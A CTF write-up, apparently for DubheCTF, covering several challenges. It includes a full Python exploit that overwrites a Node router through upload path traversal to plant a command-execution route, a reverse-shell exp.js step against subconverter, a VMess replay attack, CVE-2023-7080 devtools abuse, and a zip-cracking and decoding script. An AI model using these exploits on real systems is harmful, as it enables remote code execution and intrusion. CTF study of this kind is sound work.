ezPythonCheckin
看上去好像pyjail给我吓到了（？结果好简单。
print(open("/flag").read())Wecat
碎碎念：UI真好看。
登录注册之后发现上传头像/wechatAPI/upload/once处可以指定路径。于是可以上传恶意路由拿到shell。
一把梭：
import time
from requests import post
import io
url = "http://%s:%d/" % ("localhost",8088)
email = "[email protected]"
passwd = "114514!"
# 注册
post(
f"{url}wechatAPI/sign/success",
data=f'{{"email":"{email}","pwd":"{passwd}"}}',
headers={"Content-Type": "application/json"}
)
print("[+] Registered")
# 登录
token = post(
f"{url}/wechatAPI/login/pwd",
data=f'{{"email":"{email}","pwd":"{passwd}"}}',
headers={"Content-Type": "application/json"}
).json()['token']
print("[+] Got token")
# 上传
post(
url + "/wechatAPI/upload/once", data={
"name": "any",
"hash": "114514",
"postfix": "txt/../../src/route/router.js"
}, files={
"file": ("router.js", io.StringIO("""const router = require('@koa/router')()
const commonRouter = require('./commonRouter')
const routeAdmin = require('./admin')
const routeLogin = require('./login')
const routeUpload = require('./upload')
const {execSync} = require('child_process')
router
.use(routeLogin)
.use(commonRouter)
.use(routeUpload)
.use(routeAdmin)
router.post('/wechatAPI/mikumiku', async (ctx) => {
ctx.body = execSync(ctx.request.body.command).toString()
})
module.exports = router"""), "text/plain")
}, headers={"Authorization": token})
print("[+] Uploaded")
# 调用
time.sleep(1)
r = post(
f"{url}wechatAPI/mikumiku", data='{"command":"../../../../../readflag"}',
headers={"Content-Type": "application/json", "Authorization": token}).text
print("[+] Got flag:", r)cipher
碎碎念：又可以一把梭诶…
看文件指纹知道是mark的文件
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine 中ConsoleHost_history.txt可以找到几个用户名的密码都是superman。
然后丢进Advanced EFS Data Recovery 一把梭即可。
Master of Profile
之前有个subconventer的RCE洞。是在enable_cache且有token的情况下有办法进行rce。于是想办法找到token并且enable_cache。
审代码的时候看到/renderapi的实现：src/handler/interfaces.cpp#L1438中的path没有验证读取。尝试用/render?path=pref.yml读取配置文件。成功拿到token。
又看到src/main.cpp#L224的/updateconf实现。使用token可以修改pref.yml的内容。构造请求修改enable_cache为true。
然后做法就简单了。公网服务器上构造exp.js
function parse(x){
os.exec(["sh","-c","..."])
}这里弹shell。
即可获得flag。
authorized mess & unauthorized less
碎碎念：从开赛到结束一直在做的一个题。出题人脑洞很好。
https://pastebin.com/raw/sw2TFBLK -> V2ray，VMess协议。
修改V2ray代码完成重放。在proxy/vmess/aead/authid.go中注释掉108-110行。即可跳过EAuId验证。重放攻击。然后抓包即可获得请求。是一张图片https://p.sda1.dev/16/11c111ee40a928d5d751dd5869414093/__p0.png，带有压缩包。
结合提示和图片文件名（pixiv的图片下载后文件名是pixivid_p0），猜测密码是原图片的pixivID（这一步好离谱。用sauceNao搜索可获得pixiv来源，密码116921220。
解压压缩包，是一个Cloudflare Workers项目，一个vless服务，并且使用wrangler dev本地调试。组网了内网docker镜像。公网->Vmess->内网Vless。审计代码没有问题，猜测问题出在工具上。 于是搜索miniflare cve找到CVE-2023-7080，按照描述，我们可以利用这个vless访问本地启动的devtools服务器。
两层v2ray服务，启动两台v2ray服务器，使用dokodemo-door服务进行端口转发来实现。配置见Gist
本地使用chrome://inspect 连接devtools。使用快照功能将全部内存保存到本地。打开记事本搜索DubheCTF即可。
DubheCTF{Wh47_4_m355y_pRO7oCOl&L355y_d38u993R}
no more taowa
碎碎念：这个题不是我做的但是我一定要把它发出来。承包了我周末最大的乐子XD（
说的是不套娃但是全是套娃。
一共二十五轮，每轮随机套娃。据不愿意透露姓名的出题人所说，此题源自https://github.com/zysgmzb/taowa-generator/，并对其进行了小小的创新。
以下是队友大爹写的半自动化解密脚本。（交互部分略去）
from PIL import Image
import base64,io,math
from pyzbar.pyzbar import decode
import zipfile,os
import threading,pyzipper,collections
import numpy as np
import pyperclip
def solve_base64(data:bytes):
def fix_base64_padding(base64_string):
missing_padding = len(base64_string) % 4
if missing_padding != 0:
base64_string += b'=' * (4 - missing_padding)
return base64_string
data=fix_base64_padding(data)
return base64.b64decode(data,validate=False)
def solve_base32(data:bytes):
return base64.b32decode(data)
def solve_base85(data:bytes):
return base64.b85decode(data)
def from_bytes(data:bytes):
data=data.decode(errors='ignore')
for i, char in enumerate(data):
if not char.isdigit() and not ('A' <= char <= 'F') and not ('a' <= char <= 'f'):
data = data[:i]
break
return bytes.fromhex(data)
def solve_png(data:bytes):
pic=Image.open(io.BytesIO(data))
def solve_png_1(img:Image.Image):
s=img
r=np.array(s)//128
r=r.flatten()
if len(r)%8==4:
r=r[:-4]
bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00')
return bits
def solve_png_3(img:Image.Image):
s=img
r=np.array(s)%2
r=r.flatten()
if len(r)%8==4:
r=r[:-4]
bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00')
return bits def solve_png_2(img:Image.Image):
s=img
r=np.array(s)
r=r.flatten()
bits=r.tobytes().rstrip(b'\x00')
return bits
def solve_extra(img:Image.Image):
s=img
st=''
bt=b''
for y in range(s.height):
for x in range(s.width):
if x==0 and y==0:continue
st+=str(s.getpixel((x,y))[0]//50)+str(s.getpixel((x,y))[2]//50)
# if len(st)==8:
# bt+=int(st,2).to_bytes(1,'big')
# st=''
st=st.encode()
return st.strip(b'0')
if pic.size!=(640,640):
# r1= solve_png_2(pic)
is_equal=1
if pic.width>10:
aa,bb=pic.getpixel((10,0))[1],pic.getpixel((10,0))[3]
for x in range(11,pic.width):
if pic.getpixel((x,1))[1]!=aa or pic.getpixel((x,1))[3]!=bb:
is_equal=0
r1=solve_png_1(pic)
r2=solve_png_2(pic)
r3=solve_png_3(pic)
if b'1'*20 in r1:return r1
if b'1'*20 in r3:return r3
if b'1'*20 in r2:return r2
c1=len(collections.Counter(r1))
c2=len(collections.Counter(r2))
c3=len(collections.Counter(r3))
print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}')
print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}')
print(f'ccccccccccccccccccccccc\n{r3[:100]}')
rr='-1'
while rr not in ['1','2','3']:
rr=input('choice: (1/2/3)')
if rr=='1':return r1
if rr=='2':return r2
if rr=='3':return r3
r1=solve_png_1(pic)
r2=solve_png_2(pic)
r3=solve_png_3(pic)
if b'1'*20 in r1:return r1
if b'1'*20 in r3:return r3
if b'1'*20 in r2:return r2
c1=len(collections.Counter(r1))
c2=len(collections.Counter(r2))
c3=len(collections.Counter(r3))
print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}')
print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}')
print(f'ccccccccccccccccccccccc\n{r3[:100]}')
rr='-1'
while rr not in ['1','2','3']:
rr=input('choice: (1/2/3)')
if rr=='1':return r1
if rr=='2':return r2
if rr=='3':return r3
def solve_qrcode(data:bytes):
t=data.decode()
l=round(math.sqrt(len(data)))
s=Image.new('L',(l,l))
for i in range(l):
for j in range(l):
try:
s.putpixel((i,j),int(t[i*l+j])*255)
except:
pass
decoded_objects=decode(s)
return decoded_objects[0].data
def reverse_bytes(data:bytes):
data=data[::-1]
return data
def reverse_bin(data:bytes):
def bytes_to_binary(byte_data):
arr = np.frombuffer(byte_data, dtype=np.uint8)
binary_str = np.unpackbits(arr).flatten()
return binary_str[::-1]
def binary_to_bytes(binary_str):
byte_data = np.packbits(binary_str.reshape(-1,8))
return byte_data
byte_data = bytearray(data)
binary_str = bytes_to_binary(byte_data)
byte_data_back = binary_to_bytes(binary_str)
return byte_data_back.tobytes()
def manual(data:bytes):
return eval(input('command: '))
def identify(data:bytes):
if data[:4]==b'\x89PNG':return 'p'
if data[:20]==b'1'*20:return 'q'
if data[:4]==b'PK\x03\x04':return 'z'
if data[:8]==b'iVBORw0K':return '64'
print(data[:100])
print('f:from bytes 64:base64 85:base85 32:base32 z:zip bi:reverse bin by:reverse bytes q:qrcode c:cut p:png')
return input('choice: ')
def get_password():
os.system('john-1.8.0.13-jumbo-b7eae75d7-win64\\run\\zip2john.exe temp1.zip>hash.txt')
txt=open('hash.txt','r').read()
hashtxt=txt[10:txt.find('$/zip2$::::')+7]
print(hashtxt)
open('hashtext.txt','w').write(hashtxt)
os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d ')
os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d --show > out.aminuosi')
# return open('hashcat-6.2.6\\hashcat.potfile','r').read()[-6:].strip()
return open('hashcat-6.2.6\\out.aminuosi','r').read()[-6:].strip()
def my_replace(data:bytes):
k=input('hex / bytes:0/1>')
a0,a1=input('a0 a1:>').split()
if k=='0':
return data.replace(bytes.fromhex(a0),b'0').replace(bytes.fromhex(a1),b'1')
else:
return data.replace(a0.encode(),b'0').replace(a1.encode(),b'1')
def solve_zip(data:bytes):
open('temp1.zip','wb').write(data)
pwd_str=b''
# pwd_str=input('password: ')
while len(pwd_str)!=5:
pwd_str=get_password()
print(f'password is {pwd_str}')
try:
os.system(f'D:\\7zip\\7-Zip\\7z x -p{pwd_str} temp1.zip -otemp1')
files=os.listdir('temp1')[0]
res = open(f'temp1\\{files}','rb').read()
os.system(f'del temp1\\{files}')
print(res)
if res!=b'':return res
except:
pass
input(f'continue? >{pwd_str}')
files=os.listdir('temp1')[0]
res = open(f'temp1\\{files}','rb').read()
os.system(f'del temp1\\{files}')
if res!=b'':return res
def solve(data:bytes):
step=0
last=[]
while b'flag' not in data[:20]:
last.append(data)
open(f'temp_file/{step}','wb').write(data)
step+=1
if data[-6:]==b'wROBVi':data=data[::-1]
if data[4:8]==b'PK\x03\x04':data=data[4:]+data[:4]
if data[4:8]==b'\x89PNG':data=data[4:]
if data[4:24]==b'1'*20 and data[2:4]!=b'11':data=data[4:]
if b'DNEI' in data[:30]:data=reverse_bytes(data)
if reverse_bin(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bin(data)
if reverse_bytes(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bytes(data)
print(data[:100])
id=identify(data)
print(f'----------------------\n{id}\n-----------------------')
if id=='c':data=data[int(input('cut number: ')):]
if id=='64':data=solve_base64(data)
if id=='85':data=solve_base85(data)
if id=='r':data=my_replace(data)
if id=='32':data=solve_base32(data)
if id=='z':data=solve_zip(data)
if id=='q':data=solve_qrcode(data)
if id=='bi':data=reverse_bin(data)
if id=='by':data=reverse_bytes(data)
if id=='p':data=solve_png(data)
if id=='f':data=from_bytes(data)
if id=='m':data=manual(data)
if id=='back':data=last[-2]
print('\n\n\n\n')
print(data.decode())
pyperclip.copy(data.decode())
while 1:
solve(open('temp','rb').read())
input('next >')
